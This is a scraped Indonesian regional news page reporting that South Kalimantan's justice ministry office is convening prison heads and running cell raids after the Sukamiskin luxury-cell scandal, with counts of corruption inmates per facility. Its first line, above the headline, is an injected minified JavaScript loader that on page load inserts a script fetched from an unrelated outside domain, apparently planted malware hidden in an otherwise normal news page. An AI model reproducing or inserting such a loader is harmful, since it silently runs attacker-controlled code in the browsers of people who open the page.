(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pastikan Tidak Ada Sel Mewah, Ferdinand Kumpulkan Kepala Lapas se-Kalsel


BANJARMASIN, Kasus adanya praktik jual beli kamar mewah untuk tahanan korupsi di Lembaga Pemasyarakatan Kelas I Sukmisikin, menjadi pukulan telak jajaran Kementerian Hukum dan HAM. Termasuk juga yang di Kalsel. Mengantisipasi dan memastikan hal tersebut tak terjadi di sini, Lapas Kelas III Tanjung mengelar penggeledahan/razia rutin sebagai bentuk cipta kondisi yang dilangsungkan Minggu (22/7). Dari hasil razia yang dilakukan, hanya ditemukan satu unit headset dan radio.

Kepala Kanwil Kemenkum HAM Kalsel, Ferdinand Siagian dalam arahannya pada apel Senin (23/7) pagi  telah mengagendakan untuk mengumpulkan seluruh Kepala Unit Pelaksana Teknis (UPT) Pemasyarakatan Se-Kalsel dan disambung dengan kegiatan Workshop Tunas Integritas selama 3 hari.

Kegiatan tersebut akan digelar tanggal 25-27 Juli, bertempat di Hotel Rattan In dengan narasumber/fasilitator dari Komisi Pemberatasan Korupsi (KPK) dan Biro Perencanaan Setjen Kemenkumham RI. “ini adalah bentuk perhatian kita agar kejadian di Lembaga Pemasyarakatan Kelas I Sukmisikin tidak terulang kembali,” ungkapnya.

Dari data yang tercatat di Kemenkumham Kalsel, jumlah warga pemasyarakatan kasus Tindak Pidana Korupsi (Tipikor) di UPT Pemasyarakatan di Kalsel sejumlah 97 orang. Untuk Lapas Banjarmasin ada 68 orang terdiri 51 napi dan 17 tahanan, Lapas Kotabaru ada 8 orang terdiri 6 napi dan 2 tahanan, Lapas Amuntai 8 orang napi, Lapas Perempuan 4 orang terdiri 3 napi dan 1 tahanan, Rutan Pelaihari 7 orang terdiri 4 napi dan 3 tahanan, Rutan Rantau 1 orang napi dan Rutan Marabahan ada 1 orang napi.

Dia mengatakan, pelaksanaan rutin penggeledahan/razia bukan hanya terkait narkoba dan barang terlarang lainnnya. Tapi juga termasuk pungli. Sebagaimana diketahui, seluruh UPT Pemasyarakatan di Kalsel mengalami over kapasitas sehingga kondisi tersebut tidak memungkinkan lagi ada ruangan dengan fasilitas mewah. “Karena bisa istirahat yang nyaman saja sudah cukup mengingat masih ada WBP yang terpaksa tidurnya bergelantungan di salah satu UPT di Kalsel,” tegas Ferdinand.

Terkait hak-hak WBP seperti layanan kunjungan, kesehatan, penempatan kamar Kementerian Hukum dan HAM Kalsel terus melakukan pengawasan guna menghindari adanya perlakukan-perlakukan khusus terhadap warga binaan.

Menyusul kejadikan di Lapas Sukamiskin, hari ini Kementerian Hukum dan HAM (Kemenkumham) memberhentikan Kepala Kantor Wilayah (Kakanwil) Jawa Barat, Indro Purwoko dan Kepala Divisi Pemasyarakatan (Kadivpas) Jawa Barat, Alfisah.


Page: 1 2

Desy Arfianty

Recent Posts

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

3 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

4 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

7 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

11 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

This website uses cookies.